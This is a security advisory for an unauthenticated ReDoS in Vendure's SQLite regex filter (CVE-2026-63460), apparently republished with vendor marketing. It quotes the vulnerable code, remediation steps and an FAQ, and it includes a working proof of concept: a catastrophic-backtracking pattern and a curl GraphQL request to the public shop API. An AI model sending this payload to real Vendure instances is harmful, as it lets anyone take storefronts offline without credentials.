Summary
Vendure: Unauthenticated ReDoS via regex filter on SQLite backends
[!IMPORTANT]
Only instances running on the SQLite driver (better-sqlite3) are affected; SQLite is usually used in development/testing backend, so production deployments on PostgreSQL or MySQL/MariaDB are unaffected.
The StringOperators.regex filter exposed on the public Shop GraphQL API is evaluated inside the Node.js event loop via a synchronous SQLite user-defined function (UDF). Supplying a catastrophically backtracking pattern blocks the entire event loop, causing a complete denial of service with no authentication required.
Details
Vendure registers a JavaScript UDF so that SQLite can handle the REGEXP operator:
packages/core/src/service/helpers/list-query-builder/list-query-builder.ts lines 917–931
private registerSQLiteRegexpFunction() {
const regexpFn = (pattern: string, value: string) => {
const result = new RegExp(`${pattern}`, 'i').test(value); // user-controlled pattern
return result ? 1 : 0;
};
if (dbType === 'better-sqlite3') {
driver.databaseConnection.function('regexp', regexpFn);
}
if (dbType === 'sqljs') {
driver.databaseConnection.create_function('regexp', regexpFn);
}
}
The pattern argument is the raw value of StringOperators.regex submitted by the caller. No length limit, timeout, or safe-regex validation is applied before constructing new RegExp(pattern).
packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts lines 321–325
case 'regex':
return {
clause: getRegexpClause(fieldName, argIndex, dbType),
parameters: { [`arg${argIndex}`]: operand }, // operand = raw user input
};
The products resolver in packages/core/src/api/resolvers/shop/shop-products.resolver.ts carries no @Allow decorator, and the access control strategy treats an empty permission set as publicly accessible:
packages/core/src/config/auth/default-entity-access-control-strategy.ts lines 49–52
async canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> {
if (permissions.length === 0) {
return true; // no @Allow → public
}
...
}
The three conditions together, user-controlled regex, synchronous JS UDF on the event loop, unauthenticated access, create a complete unauthenticated DoS path.
Affected database drivers: better-sqlite3, sqljs.
MySQL/MariaDB and PostgreSQL delegate the pattern to the database engine (those engines have their own exposure characteristics but do not block the Node.js event loop).
PoC
[poc.zip](https://github.com/user-attachments/files/28752976/poc.zip) [poc-redos.js](https://github.com/user-attachments/files/28753000/poc-redos.js)Prerequisites: Node.js ≥ 18. No account, no server, no dependencies.
Step 1, save the following as poc-redos.js:
// Exact code from list-query-builder.ts:918-919
const PATTERN = '(a+)+$';
const VALUE = 'a'.repeat(28) + 'b';
console.log('[*] pattern:', PATTERN, ' value:', VALUE);
console.log('[*] Starting (server would be unresponsive from this point)...');
const start = Date.now();
const result = new RegExp(`${PATTERN}`, 'i').test(VALUE);
console.log('[+] elapsed:', Date.now() - start, 'ms result:', result);
Step 2, run it:
node poc-redos.js
Expected output (verified on Node.js v24.14.0):
[*] pattern: (a+)+$ value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab
[*] Starting (server would be unresponsive from this point)...
[+] elapsed: 19755 ms result: false
A 29-character input causes ~20 seconds of CPU spin. Inside a live Vendure server this same code runs synchronously in the SQLite UDF on the Node.js event loop, the process cannot handle any other request for the entire duration.
Step 3, GraphQL payload (against a running Vendure instance with better-sqlite3 or sqljs driver):
curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60
No test account is needed. The products query is publicly accessible.
Impact
Vulnerability type: Regular Expression Denial of Service (ReDoS)
Who is impacted:
- Any Vendure deployment running with a
better-sqlite3orsqljsdatabase driver (typical for development environments and single-server small deployments created via@vendure/create). - Any unauthenticated internet user can trigger the attack, no credentials, no API key, no session.
- A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen).
- Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second.
A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.
CVE-2026-63460 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.6.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate the regex before constructing it. Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g.
safe-regex2orrecheck) before passing them tonew RegExp().Enforce a maximum pattern length. Reject
StringOperators.regexvalues exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer.Run the UDF in a worker thread. Move
regexpFnoff the main event loop by executing it in aworker_threadscontext with anAbortSignaltimeout so a hung regex cannot block the server.Require authentication for filtered list queries. Add
@Allow(Permission.Authenticated)toShopProductsResolver.products(and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.
Frequently Asked Questions
- What is CVE-2026-63460? CVE-2026-63460 is a high-severity inefficient regular expression (ReDoS) vulnerability in vendure/core (npm), affecting versions <= 3.6.4. It is fixed in 3.6.5. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
- How severe is CVE-2026-63460? CVE-2026-63460 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vendure/core are affected by CVE-2026-63460? vendure/core (npm) versions <= 3.6.4 is affected.
- Is there a fix for CVE-2026-63460? Yes. CVE-2026-63460 is fixed in 3.6.5. Upgrade to this version or later.
- Is CVE-2026-63460 exploitable, and should I be worried? Whether CVE-2026-63460 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-63460 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-63460? Upgrade
vendure/coreto 3.6.5 or later.